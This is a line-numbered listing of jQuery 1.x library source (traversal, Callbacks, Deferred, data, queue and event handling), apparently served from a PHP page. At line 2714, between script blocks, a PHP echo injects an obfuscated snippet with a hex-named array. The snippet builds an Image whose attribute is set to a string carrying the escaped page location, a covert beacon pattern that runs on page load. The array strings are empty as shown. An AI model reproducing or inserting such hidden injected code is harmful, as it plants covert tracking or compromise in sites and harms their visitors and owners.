1931 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1932 for (; i < l; i++) {
1933 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1934 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1935 matched.push(cur);
1936 break
1937 }
1938 }
1939 }
1940 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1941 },
1942 index: function(elem) {
1943 if (!elem) {
1944 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1945 }
1946 if (typeof elem === "string") {
1947 return jQuery.inArray(this[0], jQuery(elem))
1948 }
1949 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1950 },
1951 add: function(selector, context) {
1952 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1953 },
1954 addBack: function(selector) {
1955 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1956 }
1957 });
1958
1959 function sibling(cur, dir) {
1960 do {
1961 cur = cur[dir]
1962 } while (cur && cur.nodeType !== 1);
1963 return cur
1964 }
1965 jQuery.each({
1966 parent: function(elem) {
1967 var parent = elem.parentNode;
1968 return parent && parent.nodeType !== 11 ? parent : null
1969 },
1970 parents: function(elem) {
1971 return jQuery.dir(elem, "parentNode")
1972 },
1973 parentsUntil: function(elem, i, until) {
1974 return jQuery.dir(elem, "parentNode", until)
1975 },
1976 next: function(elem) {
1977 return sibling(elem, "nextSibling")
1978 },
1979 prev: function(elem) {
1980 return sibling(elem, "previousSibling")
1981 },
1982 nextAll: function(elem) {
1983 return jQuery.dir(elem, "nextSibling")
1984 },
1985 prevAll: function(elem) {
1986 return jQuery.dir(elem, "previousSibling")
1987 },
1988 nextUntil: function(elem, i, until) {
1989 return jQuery.dir(elem, "nextSibling", until)
1990 },
1991 prevUntil: function(elem, i, until) {
1992 return jQuery.dir(elem, "previousSibling", until)
1993 },
1994 siblings: function(elem) {
1995 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1996 },
1997 children: function(elem) {
1998 return jQuery.sibling(elem.firstChild)
1999 },
2000 contents: function(elem) {
2001 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
2002 }
2003 }, function(name, fn) {
2004 jQuery.fn[name] = function(until, selector) {
2005 var ret = jQuery.map(this, fn, until);
2006 if (name.slice(-5) !== "Until") {
2007 selector = until
2008 }
2009 if (selector && typeof selector === "string") {
2010 ret = jQuery.filter(selector, ret)
2011 }
2012 if (this.length > 1) {
2013 if (!guaranteedUnique[name]) {
2014 ret = jQuery.unique(ret)
2015 }
2016 if (rparentsprev.test(name)) {
2017 ret = ret.reverse()
2018 }
2019 }
2020 return this.pushStack(ret)
2021 }
2022 });
2023 var rnotwhite = (/\S+/g);
2024 var optionsCache = {};
2025
2026 function createOptions(options) {
2027 var object = optionsCache[options] = {};
2028 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
2029 object[flag] = true
2030 });
2031 return object
2032 }
2033 jQuery.Callbacks = function(options) {
2034 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
2035 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
2036 stack = !options.once && [],
2037 fire = function(data) {
2038 memory = options.memory && data;
2039 fired = true;
2040 firingIndex = firingStart || 0;
2041 firingStart = 0;
2042 firingLength = list.length;
2043 firing = true;
2044 for (; list && firingIndex < firingLength; firingIndex++) {
2045 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
2046 memory = false;
2047 break
2048 }
2049 }
2050 firing = false;
2051 if (list) {
2052 if (stack) {
2053 if (stack.length) {
2054 fire(stack.shift())
2055 }
2056 } else if (memory) {
2057 list = []
2058 } else {
2059 self.disable()
2060 }
2061 }
2062 },
2063 self = {
2064 add: function() {
2065 if (list) {
2066 var start = list.length;
2067 (function add(args) {
2068 jQuery.each(args, function(_, arg) {
2069 var type = jQuery.type(arg);
2070 if (type === "function") {
2071 if (!options.unique || !self.has(arg)) {
2072 list.push(arg)
2073 }
2074 } else if (arg && arg.length && type !== "string") {
2075 add(arg)
2076 }
2077 })
2078 })(arguments);
2079 if (firing) {
2080 firingLength = list.length
2081 } else if (memory) {
2082 firingStart = start;
2083 fire(memory)
2084 }
2085 }
2086 return this
2087 },
2088 remove: function() {
2089 if (list) {
2090 jQuery.each(arguments, function(_, arg) {
2091 var index;
2092 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2093 list.splice(index, 1);
2094 if (firing) {
2095 if (index <= firingLength) {
2096 firingLength--
2097 }
2098 if (index <= firingIndex) {
2099 firingIndex--
2100 }
2101 }
2102 }
2103 })
2104 }
2105 return this
2106 },
2107 has: function(fn) {
2108 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2109 },
2110 empty: function() {
2111 list = [];
2112 firingLength = 0;
2113 return this
2114 },
2115 disable: function() {
2116 list = stack = memory = undefined;
2117 return this
2118 },
2119 disabled: function() {
2120 return !list
2121 },
2122 lock: function() {
2123 stack = undefined;
2124 if (!memory) {
2125 self.disable()
2126 }
2127 return this
2128 },
2129 locked: function() {
2130 return !stack
2131 },
2132 fireWith: function(context, args) {
2133 if (list && (!fired || stack)) {
2134 args = args || [];
2135 args = [context, args.slice ? args.slice() : args];
2136 if (firing) {
2137 stack.push(args)
2138 } else {
2139 fire(args)
2140 }
2141 }
2142 return this
2143 },
2144 fire: function() {
2145 self.fireWith(this, arguments);
2146 return this
2147 },
2148 fired: function() {
2149 return !!fired
2150 }
2151 };
2152 return self
2153 };
2154 jQuery.extend({
2155 Deferred: function(func) {
2156 var tuples = [
2157 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2158 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2159 ["notify", "progress", jQuery.Callbacks("memory")]
2160 ],
2161 state = "pending",
2162 promise = {
2163 state: function() {
2164 return state
2165 },
2166 always: function() {
2167 deferred.done(arguments).fail(arguments);
2168 return this
2169 },
2170 then: function() {
2171 var fns = arguments;
2172 return jQuery.Deferred(function(newDefer) {
2173 jQuery.each(tuples, function(i, tuple) {
2174 var fn = jQuery.isFunction(fns[i]) && fns[i];
2175 deferred[tuple[1]](function() {
2176 var returned = fn && fn.apply(this, arguments);
2177 if (returned && jQuery.isFunction(returned.promise)) {
2178 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2179 } else {
2180 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2181 }
2182 })
2183 });
2184 fns = null
2185 }).promise()
2186 },
2187 promise: function(obj) {
2188 return obj != null ? jQuery.extend(obj, promise) : promise
2189 }
2190 },
2191 deferred = {};
2192 promise.pipe = promise.then;
2193 jQuery.each(tuples, function(i, tuple) {
2194 var list = tuple[2],
2195 stateString = tuple[3];
2196 promise[tuple[1]] = list.add;
2197 if (stateString) {
2198 list.add(function() {
2199 state = stateString
2200 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2201 }
2202 deferred[tuple[0]] = function() {
2203 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2204 return this
2205 };
2206 deferred[tuple[0] + "With"] = list.fireWith
2207 });
2208 promise.promise(deferred);
2209 if (func) {
2210 func.call(deferred, deferred)
2211 }
2212 return deferred
2213 },
2214 when: function(subordinate) {
2215 var i = 0,
2216 resolveValues = slice.call(arguments),
2217 length = resolveValues.length,
2218 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2219 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2220 updateFunc = function(i, contexts, values) {
2221 return function(value) {
2222 contexts[i] = this;
2223 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2224 if (values === progressValues) {
2225 deferred.notifyWith(contexts, values)
2226 } else if (!(--remaining)) {
2227 deferred.resolveWith(contexts, values)
2228 }
2229 }
2230 },
2231 progressValues, progressContexts, resolveContexts;
2232 if (length > 1) {
2233 progressValues = new Array(length);
2234 progressContexts = new Array(length);
2235 resolveContexts = new Array(length);
2236 for (; i < length; i++) {
2237 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2238 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2239 } else {
2240 --remaining
2241 }
2242 }
2243 }
2244 if (!remaining) {
2245 deferred.resolveWith(resolveContexts, resolveValues)
2246 }
2247 return deferred.promise()
2248 }
2249 });
2250 var readyList;
2251 jQuery.fn.ready = function(fn) {
2252 jQuery.ready.promise().done(fn);
2253 return this
2254 };
2255 jQuery.extend({
2256 isReady: false,
2257 readyWait: 1,
2258 holdReady: function(hold) {
2259 if (hold) {
2260 jQuery.readyWait++
2261 } else {
2262 jQuery.ready(true)
2263 }
2264 },
2265 ready: function(wait) {
2266 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2267 return
2268 }
2269 if (!document.body) {
2270 return setTimeout(jQuery.ready)
2271 }
2272 jQuery.isReady = true;
2273 if (wait !== true && --jQuery.readyWait > 0) {
2274 return
2275 }
2276 readyList.resolveWith(document, [jQuery]);
2277 if (jQuery.fn.triggerHandler) {
2278 jQuery(document).triggerHandler("ready");
2279 jQuery(document).off("ready")
2280 }
2281 }
2282 });
2283
2284 function detach() {
2285 if (document.addEventListener) {
2286 document.removeEventListener("DOMContentLoaded", completed, false);
2287 window.removeEventListener("load", completed, false)
2288 } else {
2289 document.detachEvent("onreadystatechange", completed);
2290 window.detachEvent("onload", completed)
2291 }
2292 }
2293
2294 function completed() {
2295 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2296 detach();
2297 jQuery.ready()
2298 }
2299 }
2300 jQuery.ready.promise = function(obj) {
2301 if (!readyList) {
2302 readyList = jQuery.Deferred();
2303 if (document.readyState === "complete") {
2304 setTimeout(jQuery.ready)
2305 } else if (document.addEventListener) {
2306 document.addEventListener("DOMContentLoaded", completed, false);
2307 window.addEventListener("load", completed, false)
2308 } else {
2309 document.attachEvent("onreadystatechange", completed);
2310 window.attachEvent("onload", completed);
2311 var top = false;
2312 try {
2313 top = window.frameElement == null && document.documentElement
2314 } catch (e) {}
2315 if (top && top.doScroll) {
2316 (function doScrollCheck() {
2317 if (!jQuery.isReady) {
2318 try {
2319 top.doScroll("left")
2320 } catch (e) {
2321 return setTimeout(doScrollCheck, 50)
2322 }
2323 detach();
2324 jQuery.ready()
2325 }
2326 })()
2327 }
2328 }
2329 }
2330 return readyList.promise(obj)
2331 };
2332 var strundefined = typeof undefined;
2333 var i;
2334 for (i in jQuery(support)) {
2335 break
2336 }
2337 support.ownLast = i !== "0";
2338 support.inlineBlockNeedsLayout = false;
2339 jQuery(function() {
2340 var val, div, body, container;
2341 body = document.getElementsByTagName("body")[0];
2342 if (!body || !body.style) {
2343 return
2344 }
2345 div = document.createElement("div");
2346 container = document.createElement("div");
2347 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2348 body.appendChild(container).appendChild(div);
2349 if (typeof div.style.zoom !== strundefined) {
2350 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2351 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2352 if (val) {
2353 body.style.zoom = 1
2354 }
2355 }
2356 body.removeChild(container)
2357 });
2358 (function() {
2359 var div = document.createElement("div");
2360 if (support.deleteExpando == null) {
2361 support.deleteExpando = true;
2362 try {
2363 delete div.test
2364 } catch (e) {
2365 support.deleteExpando = false
2366 }
2367 }
2368 div = null
2369 })();
2370 jQuery.acceptData = function(elem) {
2371 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2372 nodeType = +elem.nodeType || 1;
2373 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2374 };
2375 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2376 rmultiDash = /([A-Z])/g;
2377
2378 function dataAttr(elem, key, data) {
2379 if (data === undefined && elem.nodeType === 1) {
2380 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2381 data = elem.getAttribute(name);
2382 if (typeof data === "string") {
2383 try {
2384 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2385 } catch (e) {}
2386 jQuery.data(elem, key, data)
2387 } else {
2388 data = undefined
2389 }
2390 }
2391 return data
2392 }
2393
2394 function isEmptyDataObject(obj) {
2395 var name;
2396 for (name in obj) {
2397 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2398 continue
2399 }
2400 if (name !== "toJSON") {
2401 return false
2402 }
2403 }
2404 return true
2405 }
2406
2407 function internalData(elem, name, data, pvt) {
2408 if (!jQuery.acceptData(elem)) {
2409 return
2410 }
2411 var ret, thisCache, internalKey = jQuery.expando,
2412 isNode = elem.nodeType,
2413 cache = isNode ? jQuery.cache : elem,
2414 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2415 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2416 return
2417 }
2418 if (!id) {
2419 if (isNode) {
2420 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2421 } else {
2422 id = internalKey
2423 }
2424 }
2425 if (!cache[id]) {
2426 cache[id] = isNode ? {} : {
2427 toJSON: jQuery.noop
2428 }
2429 }
2430 if (typeof name === "object" || typeof name === "function") {
2431 if (pvt) {
2432 cache[id] = jQuery.extend(cache[id], name)
2433 } else {
2434 cache[id].data = jQuery.extend(cache[id].data, name)
2435 }
2436 }
2437 thisCache = cache[id];
2438 if (!pvt) {
2439 if (!thisCache.data) {
2440 thisCache.data = {}
2441 }
2442 thisCache = thisCache.data
2443 }
2444 if (data !== undefined) {
2445 thisCache[jQuery.camelCase(name)] = data
2446 }
2447 if (typeof name === "string") {
2448 ret = thisCache[name];
2449 if (ret == null) {
2450 ret = thisCache[jQuery.camelCase(name)]
2451 }
2452 } else {
2453 ret = thisCache
2454 }
2455 return ret
2456 }
2457
2458 function internalRemoveData(elem, name, pvt) {
2459 if (!jQuery.acceptData(elem)) {
2460 return
2461 }
2462 var thisCache, i, isNode = elem.nodeType,
2463 cache = isNode ? jQuery.cache : elem,
2464 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2465 if (!cache[id]) {
2466 return
2467 }
2468 if (name) {
2469 thisCache = pvt ? cache[id] : cache[id].data;
2470 if (thisCache) {
2471 if (!jQuery.isArray(name)) {
2472 if (name in thisCache) {
2473 name = [name]
2474 } else {
2475 name = jQuery.camelCase(name);
2476 if (name in thisCache) {
2477 name = [name]
2478 } else {
2479 name = name.split(" ")
2480 }
2481 }
2482 } else {
2483 name = name.concat(jQuery.map(name, jQuery.camelCase))
2484 }
2485 i = name.length;
2486 while (i--) {
2487 delete thisCache[name[i]]
2488 }
2489 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2490 return
2491 }
2492 }
2493 }
2494 if (!pvt) {
2495 delete cache[id].data;
2496 if (!isEmptyDataObject(cache[id])) {
2497 return
2498 }
2499 }
2500 if (isNode) {
2501 jQuery.cleanData([elem], true)
2502 } else if (support.deleteExpando || cache != cache.window) {
2503 delete cache[id]
2504 } else {
2505 cache[id] = null
2506 }
2507 }
2508 jQuery.extend({
2509 cache: {},
2510 noData: {
2511 "applet ": true,
2512 "embed ": true,
2513 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2514 },
2515 hasData: function(elem) {
2516 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2517 return !!elem && !isEmptyDataObject(elem)
2518 },
2519 data: function(elem, name, data) {
2520 return internalData(elem, name, data)
2521 },
2522 removeData: function(elem, name) {
2523 return internalRemoveData(elem, name)
2524 },
2525 _data: function(elem, name, data) {
2526 return internalData(elem, name, data, true)
2527 },
2528 _removeData: function(elem, name) {
2529 return internalRemoveData(elem, name, true)
2530 }
2531 });
2532 jQuery.fn.extend({
2533 data: function(key, value) {
2534 var i, name, data, elem = this[0],
2535 attrs = elem && elem.attributes;
2536 if (key === undefined) {
2537 if (this.length) {
2538 data = jQuery.data(elem);
2539 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2540 i = attrs.length;
2541 while (i--) {
2542 if (attrs[i]) {
2543 name = attrs[i].name;
2544 if (name.indexOf("data-") === 0) {
2545 name = jQuery.camelCase(name.slice(5));
2546 dataAttr(elem, name, data[name])
2547 }
2548 }
2549 }
2550 jQuery._data(elem, "parsedAttrs", true)
2551 }
2552 }
2553 return data
2554 }
2555 if (typeof key === "object") {
2556 return this.each(function() {
2557 jQuery.data(this, key)
2558 })
2559 }
2560 return arguments.length > 1 ? this.each(function() {
2561 jQuery.data(this, key, value)
2562 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2563 },
2564 removeData: function(key) {
2565 return this.each(function() {
2566 jQuery.removeData(this, key)
2567 })
2568 }
2569 });
2570 jQuery.extend({
2571 queue: function(elem, type, data) {
2572 var queue;
2573 if (elem) {
2574 type = (type || "fx") + "queue";
2575 queue = jQuery._data(elem, type);
2576 if (data) {
2577 if (!queue || jQuery.isArray(data)) {
2578 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2579 } else {
2580 queue.push(data)
2581 }
2582 }
2583 return queue || []
2584 }
2585 },
2586 dequeue: function(elem, type) {
2587 type = type || "fx";
2588 var queue = jQuery.queue(elem, type),
2589 startLength = queue.length,
2590 fn = queue.shift(),
2591 hooks = jQuery._queueHooks(elem, type),
2592 next = function() {
2593 jQuery.dequeue(elem, type)
2594 };
2595 if (fn === "inprogress") {
2596 fn = queue.shift();
2597 startLength--
2598 }
2599 if (fn) {
2600 if (type === "fx") {
2601 queue.unshift("inprogress")
2602 }
2603 delete hooks.stop;
2604 fn.call(elem, next, hooks)
2605 }
2606 if (!startLength && hooks) {
2607 hooks.empty.fire()
2608 }
2609 },
2610 _queueHooks: function(elem, type) {
2611 var key = type + "queueHooks";
2612 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2613 empty: jQuery.Callbacks("once memory").add(function() {
2614 jQuery._removeData(elem, type + "queue");
2615 jQuery._removeData(elem, key)
2616 })
2617 })
2618 }
2619 });
2620 jQuery.fn.extend({
2621 queue: function(type, data) {
2622 var setter = 2;
2623 if (typeof type !== "string") {
2624 data = type;
2625 type = "fx";
2626 setter--
2627 }
2628 if (arguments.length < setter) {
2629 return jQuery.queue(this[0], type)
2630 }
2631 return data === undefined ? this : this.each(function() {
2632 var queue = jQuery.queue(this, type, data);
2633 jQuery._queueHooks(this, type);
2634 if (type === "fx" && queue[0] !== "inprogress") {
2635 jQuery.dequeue(this, type)
2636 }
2637 })
2638 },
2639 dequeue: function(type) {
2640 return this.each(function() {
2641 jQuery.dequeue(this, type)
2642 })
2643 },
2644 clearQueue: function(type) {
2645 return this.queue(type || "fx", [])
2646 },
2647 promise: function(type, obj) {
2648 var tmp, count = 1,
2649 defer = jQuery.Deferred(),
2650 elements = this,
2651 i = this.length,
2652 resolve = function() {
2653 if (!(--count)) {
2654 defer.resolveWith(elements, [elements])
2655 }
2656 };
2657 if (typeof type !== "string") {
2658 obj = type;
2659 type = undefined
2660 }
2661 type = type || "fx";
2662 while (i--) {
2663 tmp = jQuery._data(elements[i], type + "queueHooks");
2664 if (tmp && tmp.empty) {
2665 count++;
2666 tmp.empty.add(resolve)
2667 }
2668 }
2669 resolve();
2670 return defer.promise(obj)
2671 }
2672 });
2673 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2674 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2675 var isHidden = function(elem, el) {
2676 elem = el || elem;
2677 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2678 };
2679 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2680 var i = 0,
2681 length = elems.length,
2682 bulk = key == null;
2683 if (jQuery.type(key) === "object") {
2684 chainable = true;
2685 for (i in key) {
2686 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2687 }
2688 } else if (value !== undefined) {
2689 chainable = true;
2690 if (!jQuery.isFunction(value)) {
2691 raw = true
2692 }
2693 if (bulk) {
2694 if (raw) {
2695 fn.call(elems, value);
2696 fn = null
2697 } else {
2698 bulk = fn;
2699 fn = function(elem, key, value) {
2700 return bulk.call(jQuery(elem), value)
2701 }
2702 }
2703 }
2704 if (fn) {
2705 for (; i < length; i++) {
2706 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2707 }
2708 }
2709 }
2710 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2711 };
2712 var rcheckableType = (/^(?:checkbox|radio)$/i);
2713</script>
2714<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2715 <script>
2716 (function() {
2717 var input = document.createElement("input"),
2718 div = document.createElement("div"),
2719 fragment = document.createDocumentFragment();
2720 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2721 support.leadingWhitespace = div.firstChild.nodeType === 3;
2722 support.tbody = !div.getElementsByTagName("tbody").length;
2723 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2724 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2725 input.type = "checkbox";
2726 input.checked = true;
2727 fragment.appendChild(input);
2728 support.appendChecked = input.checked;
2729 div.innerHTML = "<textarea>x</textarea>";
2730 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2731 fragment.appendChild(div);
2732 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2733 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2734 support.noCloneEvent = true;
2735 if (div.attachEvent) {
2736 div.attachEvent("onclick", function() {
2737 support.noCloneEvent = false
2738 });
2739 div.cloneNode(true).click()
2740 }
2741 if (support.deleteExpando == null) {
2742 support.deleteExpando = true;
2743 try {
2744 delete div.test
2745 } catch (e) {
2746 support.deleteExpando = false
2747 }
2748 }
2749 })();
2750 (function() {
2751 var i, eventName, div = document.createElement("div");
2752 for (i in {
2753 submit: true,
2754 change: true,
2755 focusin: true
2756 }) {
2757 eventName = "on" + i;
2758 if (!(support[i + "Bubbles"] = eventName in window)) {
2759 div.setAttribute(eventName, "t");
2760 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2761 }
2762 }
2763 div = null
2764 })();
2765 var rformElems = /^(?:input|select|textarea)$/i,
2766 rkeyEvent = /^key/,
2767 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2768 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2769 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2770
2771 function returnTrue() {
2772 return true
2773 }
2774
2775 function returnFalse() {
2776 return false
2777 }
2778
2779 function safeActiveElement() {
2780 try {
2781 return document.activeElement
2782 } catch (err) {}
2783 }
2784 jQuery.event = {
2785 global: {},
2786 add: function(elem, types, handler, data, selector) {
2787 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2788 if (!elemData) {
2789 return
2790 }
2791 if (handler.handler) {
2792 handleObjIn = handler;
2793 handler = handleObjIn.handler;
2794 selector = handleObjIn.selector
2795 }
2796 if (!handler.guid) {
2797 handler.guid = jQuery.guid++
2798 }
2799 if (!(events = elemData.events)) {
2800 events = elemData.events = {}
2801 }
2802 if (!(eventHandle = elemData.handle)) {
2803 eventHandle = elemData.handle = function(e) {
2804 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2805 };
2806 eventHandle.elem = elem
2807 }
2808 types = (types || "").match(rnotwhite) || [""];
2809 t = types.length;
2810 while (t--) {
2811 tmp = rtypenamespace.exec(types[t]) || [];
2812 type = origType = tmp[1];
2813 namespaces = (tmp[2] || "").split(".").sort();
2814 if (!type) {
2815 continue
2816 }
2817 special = jQuery.event.special[type] || {};
2818 type = (selector ? special.delegateType : special.bindType) || type;
2819 special = jQuery.event.special[type] || {};
2820 handleObj = jQuery.extend({
2821 type: type,
2822 origType: origType,
2823 data: data,
2824 handler: handler,
2825 guid: handler.guid,
2826 selector: selector,
2827 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2828 namespace: namespaces.join(".")
2829 }, handleObjIn);
2830 if (!(handlers = events[type])) {
2831 handlers = events[type] = [];
2832 handlers.delegateCount = 0;
2833 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2834 if (elem.addEventListener) {
2835 elem.addEventListener(type, eventHandle, false)
2836 } else if (elem.attachEvent) {
2837 elem.attachEvent("on" + type, eventHandle)
2838 }
2839 }
2840 }
2841 if (special.add) {
2842 special.add.call(elem, handleObj);
2843 if (!handleObj.handler.guid) {
2844 handleObj.handler.guid = handler.guid
2845 }
2846 }
2847 if (selector) {
2848 handlers.splice(handlers.delegateCount++, 0, handleObj)
2849 } else {
2850 handlers.push(handleObj)
2851 }
2852 jQuery.event.global[type] = true
2853 }
2854 elem = null
2855 },
2856 remove: function(elem, types, handler, selector, mappedTypes) {
2857 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2858 if (!elemData || !(events = elemData.events)) {
2859 return
2860 }
2861 types = (types || "").match(rnotwhite) || [""];
2862 t = types.length;
2863 while (t--) {
2864 tmp = rtypenamespace.exec(types[t]) || [];
2865 type = origType = tmp[1];
2866 namespaces = (tmp[2] || "").split(".").sort();
2867 if (!type) {
2868 for (type in events) {
2869 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2870 }
2871 continue
2872 }
2873 special = jQuery.event.special[type] || {};
2874 type = (selector ? special.delegateType : special.bindType) || type;
2875 handlers = events[type] || [];
2876 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2877 origCount = j = handlers.length;
2878 while (j--) {
2879 handleObj = handlers[j];
2880 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2881 handlers.splice(j, 1);
2882 if (handleObj.selector) {
2883 handlers.delegateCount--
2884 }
2885 if (special.remove) {
2886 special.remove.call(elem, handleObj)
2887 }
2888 }
2889 }
2890 if (origCount && !handlers.length) {
2891 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2892 jQuery.removeEvent(elem, type, elemData.handle)
2893 }
2894 delete events[type]
2895 }
2896 }
2897 if (jQuery.isEmptyObject(events)) {
2898 delete elemData.handle;
2899 jQuery._removeData(elem, "events")
2900 }
2901 },
2902 trigger: function(event, data, elem, onlyHandlers) {
2903 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2904 type = hasOwn.call(event, "type") ? event.type : event,
2905 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2906 cur = tmp = elem = elem || document;
2907 if (elem.nodeType === 3 || elem.nodeType === 8) {
2908 return
2909 }
2910 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2911 return
2912 }
2913 if (type.indexOf(".") >= 0) {
2914 namespaces = type.split(".");
2915 type = namespaces.shift();
2916 namespaces.sort()
2917 }
2918 ontype = type.indexOf(":") < 0 && "on" + type;
2919 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2920 event.isTrigger = onlyHandlers ? 2 : 3;
2921 event.namespace = namespaces.join(".");
2922 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2923 event.result = undefined;
2924 if (!event.target) {
2925 event.target = elem
2926 }
2927 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2928 special = jQuery.event.special[type] || {};
2929 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2930 return
2931 }
2932 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2933 bubbleType = special.delegateType || type;
2934 if (!rfocusMorph.test(bubbleType + type)) {
2935 cur = cur.parentNode
2936 }
2937 for (; cur; cur = cur.parentNode) {
2938 eventPath.push(cur);
2939 tmp = cur
2940 }
2941 if (tmp === (elem.ownerDocument || document)) {
2942 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2943 }
2944 }
2945 i = 0;
2946 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2947 event.type = i > 1 ? bubbleType : special.bindType || type;
2948 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2949 if (handle) {
2950 handle.apply(cur, data)
2951 }
2952 handle = ontype && cur[ontype];
2953 if (handle && handle.apply && jQuery.acceptData(cur)) {
2954 event.result = handle.apply(cur, data);
2955 if (event.result === false) {
2956 event.preventDefault()
2957 }
2958 }
2959 }
2960 event.type = type;
2961 if (!onlyHandlers && !event.isDefaultPrevented()) {
2962 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2963 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2964 tmp = elem[ontype];
2965 if (tmp) {
2966 elem[ontype] = null
2967 }
2968 jQuery.event.triggered = type;
2969 try {
